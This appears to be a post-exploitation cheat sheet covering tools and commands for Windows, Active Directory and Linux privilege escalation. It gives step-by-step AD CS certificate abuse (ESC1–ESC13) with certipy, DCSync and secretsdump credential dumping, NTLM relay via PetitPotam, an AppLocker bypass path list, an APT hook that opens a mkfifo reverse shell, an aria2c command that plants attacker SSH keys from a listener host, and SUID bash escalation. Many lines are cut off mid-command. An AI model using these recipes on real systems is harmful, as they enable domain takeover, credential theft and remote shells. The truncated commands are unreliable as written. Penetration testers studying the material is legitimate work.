Post Exploitation

- Resources

Table of Contents

templates.md
wordlists.md
images
LICENSE
README.md

- gsocket
- find
- functions
- Impacket
- Internet Information Service (IIS)
- JAWS
- Kerberos
- Kiosk Breakout
- Krbrelayx
- LAPS
- LDAP
- ldapmodify
- ldapsearch
- LD_PRELOAD
- LD_LIBRARY_PATH
- Libre Office
- Linux
- Linux Wildcards
- logrotten
- Lsass
- Lua
- machinectl
- Microsoft Windows
- Microsoft Windows Defender
- Minimalistic Offensive Security Tools
- nginx
- PassTheCert
- Path Variable Hijacking
- Perl
- PetitPotam
- PHP7.2
- pika
- Ping Sweep
- PKINITtools
- plotting
- Port Scanning
- PoshADCS
- powercat
- Powermad
- PowerShell
- PowerShell Constrained Language Mode (CLM)
- PowerSploit
- PowerView
- Pre-created Computer Accounts
- PRET
- PrivescCheck
- procdump
- PsExec
- pspy
- pth-toolkit
- pwncat
- pyGPOAbuse
- Python

- rbash
- relayd
- rpcclient
- Rubeus
- RubeusToCcache
- RunasCs
- setcap
- SetOpLock
- Shared Library Misconfiguration
- SharpDPAPI
- SharpHound
- SharpStartWebClient
- Sherlock
- smbpasswd
- Stabilizing Reverse Shells
- systemctl
- Time Stomping
- Universal Privilege Escalation and Persistence Printer
- User Account Control (UAC) Bypass
- User Group Exploitation
- VSS
- WDigest
- Whisker
- Windows-Exploit-Suggester
- winexe
- World Writeable Directories
- writeDACL

Resources

Name	Description	
ADCSKiller	An ADCS Exploitation Automation Tool Weaponizing Certipy and Coercer	https://github.c
ADCSTemplate	A PowerShell module for exporting, importing, removing, permissioning, publishing Active Directory Certificate Templates. It also includes a DSC resource for creating AD CS templates using these functions. This was built with the intent of using DSC for rapid lab builds. Could also work in production to move templates between AD CS environments.	https://github.c
ADMiner	AD Miner is an Active Directory audit tool that leverages cypher queries to crunch data from the #Bloodhound graph database to uncover security weaknesses	https://github.c
adPEAS	Powershell tool to automate Active Directory enumeration.	https://github.c
BloodHound	BloodHound uses graph theory to reveal the hidden and often unintended relationships within an	https://github.c

	Active Directory or Azure environment.	
BloodHound	Fork of BloodHound with PKI nodes and edges for Certipy along with some minor personal improvements	https://github.c
BloodHound Docker	BloodHound Docker Ready to Use	https://github.c
BloodHound Python	A Python based ingestor for BloodHound	https://github.c
bloodhound-quickwin	Simple script to extract useful informations from the combo BloodHound + Neo4j	https://github.c
BloodyAD Framework	BloodyAD is an Active Directory Privilege Escalation Framework, it can be used manually using bloodyAD.py or automatically by combining pathgen.py and autobloody.py.	https://github.c
Certify	Active Directory certificate abuse.	https://github.c
Certipy	Tool for Active Directory Certificate Services enumeration and abuse	https://github.c
check_vulnerabledrivers.ps1	A quick script to check for vulnerable drivers. Compares drivers on system with list from loldrivers.io	https://gist.githu
Coercer	A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 9 methods.	https://github.c
CSExec	An implementation of PSExec in C#	https://github.c
DLLSideloader	PowerShell script to generate "proxy" counterparts to easily perform DLL Sideloading	https://github.c
dnsteal	This is a fake DNS server that allows you to stealthily extract files from a victim machine through DNS requests.	https://github.c
DonPAPI	Dumping DPAPI credz remotely	https://github.c
enum4linux	A Linux alternative to enum.exe for enumerating data from Windows and Samba hosts.	https://github.c
enum4linux-ng	A next generation version of enum4linux.	https://github.c
EvilTree	A python3 remake of the classic "tree" command with the additional feature of searching for user provided keywords/regex in files, highlighting those that contain matches.	https://github.c
FindUncommonShares	FindUncommonShares is a Python script allowing to quickly find uncommon shares in vast Windows Domains, and filter by READ or WRITE accesses..	https://github.c
FullPowers	Recover the default privilege set of a LOCAL/NETWORK SERVICE account	https://github.c

GhostPack-Compiled Binaries	Compiled Binaries for Ghostpack (.NET v4.0)	https://github.c
GTFOBins	GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.	https://gtfobins
HEKATOMB	Hekatomb is a python script that connects to LDAP directory to retrieve all computers and users informations. Then it will download all DPAPI blob of all users from all computers and uses Domain backup keys to decrypt them.	https://github.c
Impacket	Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself.	https://github.c
Impacket Static Binaries	Standalone binaries for Linux/Windows of Impacket's examples	https://github.c
JAWS	JAWS is PowerShell script designed to help penetration testers (and CTFers) quickly identify potential privilege escalation vectors on Windows systems.	https://github.c
KeyTabExtract	Extracts Key Values from .keytab files	https://github.c
KrbRelay	Framework for Kerberos relaying	https://github.c
KrbRelayUp	KrbRelayUp - a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings).	https://github.c
Krbrelayx	Kerberos unconstrained delegation abuse toolkit	https://github.c
LAPSDumper	Dumping LAPS from Python	https://github.c
LES: Linux privilege escalation auditing tool	Linux privilege escalation auditing tool	https://github.c
LinEnum	Privilege Escalation Enumeration	https://github.c
linWinPwn	linWinPwn is a bash script that automates a number of Active Directory Enumeration and Vulnerability checks	https://github.c
LoFP	Living off the False Positive!	https://br0k3nla
LOLAPPS	LOLAPPS is a compendium of applications that can be used to carry out day-to-day exploitation.	https://lolapps-p

LOLBAS	The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.	https://lolbas-p
LOLBins CTI-Driven	The LOLBins CTI-Driven (Living-Off-the-Land Binaries Cyber Threat Intelligence Driven) is a project that aims to help cyber defenders understand how LOLBin binaries are used by threat actors during an intrusion in a graphical and digestible format for the TIPs platform using the STIX format.	https://lolbins-c
LOLDrivers	Living Off The Land Drivers is a curated list of Windows drivers used by adversaries to bypass security controls and carry out attacks. The project helps security professionals stay informed and mitigate potential threats.	https://www.lol
LOFLCAB	Living off the Foreign Land Cmdlets and Binaries	https://lofl-proj
LOOBins	Living Off the Orchard: macOS Binaries (LOOBins) is designed to provide detailed information on various built-in macOS binaries and how they can be used by threat actors for malicious purposes.	https://www.loo
lsassy	Python tool to remotely extract credentials on a set of hosts.	https://github.c
Moriaty	Moriarty is designed to enumerate missing KBs, detect various vulnerabilities, and suggest potential exploits for Privilege Escalation in Windows environments.	https://github.c
nanodump	LSASS dumper	https://github.c
NTLMRelay2Self	An other No-Fix LPE, NTLMRelay2Self over HTTP (Webdav).	https://github.c
Obfuscated SharpCollection	Attempt at Obfuscated version of SharpCollection	https://github.c
Outgoing Port Tester	This server listens on all TCP ports, allowing you to test any outbound TCP port.	http://portquiz.n
PassTheCert	Proof-of-Concept tool to authenticate to an LDAP/S server with a certificate through Schannel	https://github.c
PEASS-ng	Privilege Escalation Awesome Scripts SUITE new generation	https://github.c
Ping Castle	Ping Castle is a tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework.	https://github.c

PKINITtools	Tools for Kerberos PKINIT and relaying to AD CS	https://github.c
powercat	Netcat: The powershell version.	https://github.c
Powermad	PowerShell MachineAccountQuota and DNS exploit tools	https://github.c
PowerSharpPack	Many useful offensive CSharp Projects wraped into Powershell for easy usage.	https://github.c
PowershellKerberos	Some scripts to abuse kerberos using Powershell	https://github.c
PowerShell-Suite	My musings with PowerShell	https://github.c
PowerSploit	PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.	https://github.c
PowerUp	PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.	https://github.c
PowerView	PowerView is a PowerShell tool to gain network situational awareness on Windows domains.	https://github.c
PowerView.py	Just another Powerview alternative	https://github.c
PPLdump	Dump the memory of a PPL with a userland exploit	https://github.c
Pre2k	Pre2k is a tool to query for the existence of pre-windows 2000 computer objects which can be leveraged to gain a foothold in a target domain as discovered by TrustedSec's @Oddvarmoe.	https://github.c
Priv2Admin	Exploitation paths allowing you to (mis)use the Windows Privileges to elevate your rights within the OS.	https://github.c
PrivescCheck	Privilege Escalation Enumeration Script for Windows	https://github.c
PSPKIAudit	PowerShell toolkit for AD CS auditing based on the PSPKI toolkit.	https://github.c
pspy	pspy is a command line tool designed to snoop on processes without need for root permissions.	https://github.c
pth-toolkit	A modified version of the passing-the-hash tool collection https://code.google.com/p/passing-the-hash/ designed to be portable and work straight out of the box even on the most 'bare bones' systems.	https://github.c
pwncat	Post-Exploitation Platform	https://github.c
pyGPOAbuse	Partial python implementation of SharpGPOAbuse	https://github.c

PyWhisker	Python version of the C# tool for "Shadow Credentials" attacks	https://github.c
Rubeus	Rubeus is a C# toolset for raw Kerberos interaction and abuses.	https://github.c
RunasCs	RunasCs - Csharp and open version of windows builtin runas.exe	https://github.c
rustcat	Rustcat(rcat) - The modern Port listener and Reverse shell	https://github.c
RustHound	Active Directory data collector for BloodHound written in rust.	https://github.c
scavenger	scavenger is a multi-threaded post-exploitation scanning tool for scavenging systems, finding most frequently used files and folders as well as "interesting" files containing sensitive information.	https://github.c
SCShell	Fileless lateral movement tool that relies on ChangeServiceConfigA to run command	https://github.c
Seatbelt	Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.	https://github.c
SeBackupPrivilege	Use SE_BACKUP_NAME/SeBackupPrivilege to access objects you shouldn't have access to.	https://github.c
SharpADWS	Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS).	https://github.c
SharpChromium	.NET 4.0 CLR Project to retrieve Chromium data, such as cookies, history and saved logins.	https://github.c
SharpCollection	Nightly builds of common C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.	https://github.c
SharpDPAPI	SharpDPAPI is a C# port of some Mimikatz DPAPI functionality.	https://github.c
SharpEventPersist	Persistence by writing/reading shellcode from Event Log	https://github.c
SharpExfiltrate	Modular C# framework to exfiltrate loot over secure and trusted channels.	https://github.c
SharpHound	C# Data Collector for BloodHound	https://github.c
SharpStartWebclient	Programmatically start WebClient from an unprivileged session to enable that juicy privesc.	https://github.c
SharpStay	.NET project for installing Persistence	https://github.c

SharPyShell	SharPyShell - tiny and obfuscated ASP.NET webshell for C# web applications	https://github.c
Sharp-Suite	Also known by Microsoft as Knifecoat hot_pepper	https://github.c
SharpView	C# implementation of harmj0y's PowerView	https://github.c
Sherlock	PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.	https://github.c
SilentHound	Quietly enumerate an Active Directory Domain via LDAP parsing users, admins, groups, etc.	https://github.c
SMBeagle	SMBeagle - Fileshare auditing tool.	https://github.c
static-binaries	This repo contains a bunch of statically-linked binaries of various tools, along with the Dockerfiles / other build scripts that can be used to build them.	https://github.c
SUDO_KILLER	A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo for linux privilege escalation.	https://github.c
tickey	Tool to extract Kerberos tickets from Linux kernel keys.	https://github.c
WADComs	WADComs is an interactive cheat sheet, containing a curated list of offensive security tools and their respective commands, to be used against Windows/AD environments.	https://wadcom
Watson	Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.	https://github.c
WESNG	WES-NG is a tool based on the output of Windows' systeminfo utility which provides the list of vulnerabilities the OS is vulnerable to, including any exploits for these vulnerabilities.	https://github.c
Whisker	Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their msDS-KeyCredentialLink attribute, effectively adding "Shadow Credentials" to the target account.	https://github.c
Windows-privesc-check	Tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps (e.g. databases).	https://github.c
Windows Privilege Escalation Fundamentals	How-to Windows Privilege Escalation	https://www.fuz
Windows Privilege Escalation	Windows privlege escalation methodology	https://github.c

WinPwn	Automation for internal Windows Penetrationtest / AD-Security	https://github.c
wmiexec-Pro	New generation of wmiexec.py	https://github.c
WorldWritableDirs.txt	World-writable directories in %windir%	https://gist.githu

accesschk

Checking File Permissions

```
C:\> .\accesschk.exe /accepteula -quvw "C:\PATH\TO\FILE\<FILE>.exe"
```

Checking Service Permissions

```
C:\> .\accesschk.exe /accepteula -uwcqv <USERNAME> daclsvc
```

Checking Path Permissions to find Unquoted Service Paths

```
C:\> .\accesschk.exe /accepteula -uwdq C:\
C:\> .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
C:\> .\accesschk.exe /accepteula -uwdq "C:\Program Files\<UNQUOTED_SERVI
```

Checking Registry Entries

```
C:\> .\accesschk.exe /accepteula -uvwqk <REGISTRY_KEY>
```

Account Operators Group Membership

Add User

```
PS C:\> net user <USERNAME> <PASSWORD> /add /domain
PS C:\> net group "Exchange Windows Permissions" /add <USERNAME>
```

Import PowerView

```
PS C:\> powershell -ep bypass
PS C:\> . .\PowerView.ps1
```

Add DCSync Rights

```
PS C:\> $pass = convertto-securestring '<PASSWORD>' -AsPlainText -Force
PS C:\> $cred = New-Object System.Management.Automation.PSCredential('<D
PS C:\> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=<DOMAI
```

DCSync

```
$ impacket-secretsdump '<USERNAME>:<PASSWORD>@<RHOST>'
```

Active Directory Certificate Services (AD CS)

> https://posts.specterops.io/certified-pre-owned-d95910965cd2?gi=d78c66b6ad78

> https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

> https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7

> https://github.com/ly4k/Certipy

> https://watchdogsacademy.gitbook.io/attacking-active-directory/active-directory-certificate-services-adcs

Find Vulnerabilities in Active Directory Certificate Services (AD CS)

```
$ certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip
```

Domain Escalation

- ESC1: Misconfigured Certificate Templates
- ESC2: Misconfigured Certificate Templates
- ESC3: Enrollment Agent Templates
- ESC4: Vulnerable Certificate Template Access Control
- ESC5: Vulnerable PKI Object Access Control
- ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2
- ESC7: Vulnerable Certificate Authority Access Control
- ESC8: NTLM Relay to AD CS HTTP Endpoints
- ESC9: No Security Extensions
- ESC10: Weak Certificate Mappings
- ESC11: IF_ENFORCEENCRYPTICERTREQUEST
- ESC13: Abuse Techniques

ESC1: Misconfigured Certificate Templates

Prerequisistes

- The Enterprise CA grants low-privileged users enrollment rights.
- Manager approval is disabled.
  - mspki-enrollment-flag attribute needs to be set to 0x00000000
- No authorized signatures are required.
  - msPKI-RA-Signature attribute needs to be set to 0x00000000
- An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users.
- The certificate template defines EKUs that enable authentication.
  - mspki-certificate-application-policy attribute needs to contain at least one of the following: Client Authentication (1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) or no EKU (SubCA).
- The certificate template allows requesters to specify a subjectAltName (SAN) in the CSR.
  - msPKI-Certificate-Name-Flag attribute needs to be set to 0x00000001.

Usage

```
$ certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy auth -pfx administrator.pfx -dc-ip <RHOST>
```

ESC2: Misconfigured Certificate Templates

Prerequisistes

- The Enterprise CA grants low-privileged users enrollment rights.

- Manager approval is disabled.
  - mspki-enrollment-flag attribute needs to be set to 0x00000000
- No authorized signatures are required.
  - msPKI-RA-Signature attribute needs to be set to 0x00000000
- An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users.
- The certificate template defines Any Purpose EKUs or no EKU.

Usage

```
$ certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy auth -pfx administrator.pfx -dc-ip <RHOST>
```

ESC3: Enrollment Agent Templates

Prerequisistes

- The Enterprise CA grants low-privileged users enrollment rights.
- Manager approval is disabled.
  - mspki-enrollment-flag attribute needs to be set to 0x00000000
- No authorized signatures are required.
  - msPKI-RA-Signature attribute needs to be set to 0x00000000
- An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users.
- The certificate template defines the Certificate Request Agent EKU.
  - The Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) allows for requesting other certificate templates on behalf of other principals.
- Enrollment agent restrictions are not implemented on the CA.

Usage

```
$ certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy auth -pfx administrator.pfx -dc-ip <RHOST>
```

ESC4: Vulnerable Certificate Template Access Control

Description

`ESC4` is when a user has `write privileges` over a `certificate template`. This can for instance be abused to `overwrite` the `configuration` of the `certificate template` to make the template vulnerable to `ESC1`.

By default, Certipy will overwrite the configuration to make it vulnerable to `ESC1`.

We can specify the `-save-old` parameter to save the old configuration, which is useful for restoring the configuration afterwards.

Usage

```
$ certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -t
```

The certificate template is now vulnerable to the `ESC1` technique.

Therefore, we can now request a certificate based on the `ESC4` template and specify an `arbitrary SAN` with the `-upn` or `-dns` parameter.

```
$ certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy auth -pfx administrator.pfx -dc-ip <RHOST>
```

Restore Configuration

```
$ certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -t
```

ESC5: Vulnerable PKI Object Access Control

Description

A number of objects `outside` of `certificate templates` and the `certificate authority` itself can have a `security impact` on the entire `AD CS` system.

These possibilities include (but are not limited to):

- CA server's AD computer object (i.e., compromise through RBCD)
- The CA server's RPC/DCOM server
- Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services container, etc.)

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

Description

`ESC6` is when the `CA` specifies the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag. This flag allows the `enrollee` to specify an `arbitrary SAN` on `all certificates` despite a certificate template's configuration.

After the `patch` for the reported vulnerability `CVE-2022-26923`, this technique `no longer works alone`, but must be combined with `ESC10`.

The attack is the same as `ESC1`, except that you can `choose` any `certificate template` that permits `client authentication`. After the `May 2022` security updates, `new certificates` will have a securiy extension that `embeds` the requester's `objectSid` property. For `ESC1`, this property will be `reflected` from the `SAN` specified, but with `ESC6`, this property reflects the requester's `objectSid`, and not from the SAN. Notice that the `objectSid` changes `depending` on the requester.

As such, to abuse `ESC6`, the `environment` must be `vulnerable` to `ESC10 (Weak Certificate Mappings)`, where the `SAN` is preferred `over` the `new security extension`.

Usage

```
$ certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -vulne
```

```
$ certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy req -ca '<CA>' -username administrator@<DOMAIN> -password <PAS
```

```
$ certipy auth -pfx administrator.pfx -dc-ip <RHOST>
```

ESC7: Vulnerable Certificate Authority Access Control

Description

`ESC7` is when a user has the `Manage CA` or `Manage Certificates` access right on a CA. There are no public techniques that can abuse the Manage Certificates access right for domain privilege escalation, but it can be used it to issue or deny pending certificate requests.

The `Certified Pre-Owned whitepaper` mentions that this access right can be used to enable the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag to perform the `ESC6` attack, but this will `not have` any effect `until` the `CA service (CertSvc)` is `restarted`.

Alternative Technique by ly4k without restarting the CA service (CertSvc) service

Prerequisistes

- User must have the Manage Certificates access rights
- The certificate template SubCA must be enabled.

The technique relies on the fact that users with the `Manage CA` and `Manage Certificates` access right can `issue failed certificate requests`. The `SubCA` certificate `template` is `vulnerable` to `ESC1`, but only administrators can enroll in the template. Thus, a `user` can request to `enroll` in the `SubCA` - `which will be denied` - but then issued by the manager afterwards.

If you only have the `Manage CA` access right, you can grant yourself the `Manage Certificates` access right by adding your user as a new officer.

Usage

```
$ certipy ca -ca '<CA>' -add-officer <USERNAME> -username <USERNAME>@<DO
```

```
$ certipy ca -ca '<CA>' -enable-template SubCA -username <USERNAME>@<DOM
```

```
$ certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy ca -ca '<CA>' -issue-request <ID> -username <USERNAME>@<DOMAIN
```

```
$ certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy auth -pfx administrator.pfx -dc-ip <RHOST>
```

ESC8: NTLM Relay to AD CS HTTP Endpoints

Prerequisistes

- Enrollment Service has installed and enabled Web Enrollment via HTTP.

Usage

```
$ certipy relay -target 'http://<CA>'
$ certipy relay -ca '<CA>' -template <TEMPLATE>
```

```
$ python3 PetitPotam.py <RHOST> <DOMAIN>
```

```
$ certipy auth -pfx dc.pfx -dc-ip <RHOST>
```

```
$ export KRB5CCNAME=dc.ccache
```

```
$ impacket-secretsdump -k -no-pass <DOMAIN>/'dc$'@<DOMAIN>
```

Coercing

```
$ impacket-ntlmrelayx -t http://<RHOST>/certsrv/certfnsh.asp -smb2suppor
```

```
$ python3 PetitPotam.py <RHOST> <DOMAIN>
```

```
$ python3 gettgtpkinit.py -pfx-base64 $(cat base64.b64) '<DOMAIN>'/'dc$'
```


```
$ export KRB5CCNAME=dc.ccache
```

```
$ impacket-secretsdump -k -no-pass <DOMAIN>/'dc$'@<DOMAIN>
```


ESC9: No Security Extensions

Prerequisites

- StrongCertificateBindingEnforcement set to 1 (default) or 0
  - StrongCertificateBindingEnforcement not set to 2 (default: 1) or CertificateMappingMethods contains UPN flag
- Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
- Certificate specifies any client authentication EKU
- GenericWrite over any account A to compromise any account B

Usage

```
$ certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD>
```

```
$ certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy req -ca '<CA>' -username <USERNAME> -hashes 54296a48cd30259cc8
```

```
$ certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy auth -pfx administrator.pfx -domain <DOMAIN>
```

ESC10: Weak Certificate Mappings

Prerequisistes

- Case 1 : `StrongCertificateBindingEnforcement` set to `0`
  - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement. Default value 1, previously 0.
  - GenericWrite over any account A to compromise any account B

- Case 2 : `CertificateMappingMethods` contains `UPN` bit `(0x4)`
    - HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods. Default value 0x18 (0x8 | 0x10), previously 0x1F.
    - GenericWrite over any account A to compromise any account B without a userPrincipalName property (machine accounts and built-in domain administrator Administrator)

Usage

Case 1

```
$ certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD>
```

```
$ certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -hashes a87f3a337
```

```
$ certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy auth -pfx administrator.pfx -domain <DOMAIN>
```

Case 2

```
$ certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD>
```

```
$ certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy req -ca 'CA' -username <USERNAME>@<DOMAIN> -password -hashes a
```

```
$ certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWO
```

```
$ certipy auth -pfx dc.pfx -dc-ip <RHOST> -ldap-shell
```

ESC11: IF_ENFORCEENCRYPTICERTREQUEST

Prerequisistes

- Certificate Authority is not configured with IF_ENFORCEENCRYPTICERTREQUEST

Usage

```
$ certipy relay -target 'rpc://<CA>' -ca 'CA'
```

```
$ certipy auth -pfx administrator.pfx -domain <DOMAIN>
```

ESC13: Abuse Techniques

> https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53

> https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1?source=post_page-----fda4272fbd53----------------------------

```
<#
Prints OIDs and certificate templates that may be used in an ADCS ESC13

The script will check for:
1. OIDs with non-default ownership
2. OIDs with non-default ACE
3. OIDs linked to a group
4. Certificate templates configured with OID linked to a group
#>

Import-Module ActiveDirectory

# Get OIDs and certificate templates with msPKI-Certificate-Policy
$ADRootDSE = Get-ADRootDSE
$ConfigurationNC = $ADRootDSE.configurationNamingContext
$OIDContainer = "CN=OID,CN=Public Key Services,CN=Services,$Configuratio
$TemplateContainer = "CN=Certificate Templates,CN=Public Key Services,CN
$OIDs = Get-ADObject -Filter * -SearchBase $OIDContainer -Properties Dis
$Templates = Get-ADObject -Filter * -SearchBase $TemplateContainer -Prop

if ($OIDs) {
    Write-Host "Enumerating OIDs"
    Write-Host "------------------------"

    # Iterate through each OID
    foreach ($OID in $OIDs) {

        if ($OID."msDS-OIDToGroupLink") {
            Write-Host "OID $($OID.Name) links to group: $($OID."msDS-OI
            Write-Host "OID DisplayName: $($OID."msPKI-Cert-Template-OID
            Write-Host "OID DistinguishedName: $($OID."DistinguishedName
            Write-Host "OID msPKI-Cert-Template-OID: $($OID."msPKI-Cert-
            Write-Host "OID msDS-OIDToGroupLink: $($OID."msDS-OIDToGroup
            Write-Host "------------------------"
        }

        if ($OID.nTSecurityDescriptor.Owner -notlike "*\Enterprise Admin
            Write-Host "OID $($OID.Name) has non-default owner: $($OID.n
            Write-Host "OID DisplayName: $($OID."msPKI-Cert-Template-OID
            Write-Host "OID DistinguishedName: $($OID."DistinguishedName
            Write-Host "OID msPKI-Cert-Template-OID: $($OID."msPKI-Cert-
            Write-Host "------------------------"
        }

        $ACEs = $OID.nTSecurityDescriptor.Access
        foreach ($ACE in $ACEs) {
            if ($ACE.IdentityReference -like "*\Domain Admins" -or $ACE.
                continue
            } elseif ($ACE.IdentityReference -like "*\Authenticated User
                continue
            } else {
                Write-Host "OID $($OID.Name) has non-default ACE:"
                Write-Output $ACE
                Write-Host "OID DisplayName: $($OID."msPKI-Cert-Template
                Write-Host "OID DistinguishedName: $($OID."Distinguished
                Write-Host "OID msPKI-Cert-Template-OID: $($OID."msPKI-C
                Write-Host "------------------------"
            }
        }
    }

    Write-Host "Enumerating certificate templates"
    Write-Host "------------------------"

    # Iterate through each template
    foreach ($Template in $Templates) {

        # Check if the Template OID matches any OID in the list
        $MatchingOID = $OIDs | ? { $_."msDS-OIDToGroupLink" -and $Templa

        if ($MatchingOID) {
            Write-Host "Certificate template $($Template.Name) may be us
            Write-Host "Certificate template Name: $($Template.Name)"
```

```
            Write-Host "OID DisplayName: $($MatchingOID."msPKI-Cert-Temp
            Write-Host "OID DistinguishedName: $($MatchingOID."Distingui
            Write-Host "OID msPKI-Cert-Template-OID: $($MatchingOID."msP
            Write-Host "OID msDS-OIDToGroupLink: $($MatchingOID."msDS-OI
            Write-Host "------------------------"
        }
    }
    Write-Host "Done"
} else {
    Write-Host "Error: No OIDs were found."
}
```

ADMiner

> https://github.com/Mazars-Tech/AD_Miner

Installation

```
$ pipx install 'git+https://github.com/Mazars-Tech/AD_Miner.git'
```

Basic Commands

```
$ AD-miner -u <USERNAME> -p <PASSWORD> -cf <NAME>
```

Apache2

Read first Line of a File with apache2 Binary

```
$ sudo /usr/sbin/apache2 -f <FILE>
```

AppLocker

> https://github.com/api0cradle/UltimateAppLockerByPassList

Bypass List (Windows 10 Build 1803)

```
C:\Windows\Tasks
C:\Windows\Temp
C:\Windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```

APT

```
$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bi
```

arua2c

```
$ aria2c -d /root/.ssh/ -o authorized_keys "http://<LHOST>/authorized_ke
```

Bash

SUID Privilege Escalation

```
$ cp /bin/bash .
$ chmod +s bash
$ bash -p
```

White Collar eval Arbitrary Code Execution

> https://www.vidarholen.net/contents/blog/?p=716

Example

```
#!/bin/bash
chmod +s /bin/bash
```

```
'a[$(/tmp/<FILE>.sh>&2)]+42' /tmp/<FILE>.sh
```

Bash Debugging Mode

- Bash <4.4

```
$ env -i SHELLOPTS=xtrace PS4='$(chmod +s /bin/bash)' /usr/local/bin/<BI
```

BloodHound

> https://github.com/BloodHoundAD/BloodHound

Installation

```
$ sudo apt-get install openjdk-11-jdk
```

```
$ pip install bloodhound
```

```
$ sudo apt-get install neo4j
$ sudo apt-get install bloodhound
```

Installing and starting Database

```
$ sudo wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo a
$ sudo echo 'deb https://debian.neo4j.com stable 4' | sudo tee /etc/apt/
$ sudo apt-get update
$ sudo apt-get install apt-transport-https
$ sudo apt-get install neo4j
$ sudo systemctl stop neo4j
```

Starting Neo4j

Option 1

```
$ cd /usr/bin
$ sudo ./neo4j console
```

Option 2

```
$ systemctl start neo4j
```

Option 3

```
$ sudo neo4j start console
```

> http://localhost:7474/browser/

Start BloodHound

```
$ ./bloodhound --no-sandbox
$ sudo bloodhound --no-sandbox
```

Alternatively

```
$ sudo npm install -g electron-packager
$ git clone https://github.com/BloodHoundAD/Bloodhound
$ cd BloodHound
$ npm install
$ npm run linuxbuild
$ cd BloodHound-linux-x64
$ sudo ./BloodHound --no-sandbox
```

Docker Container

```
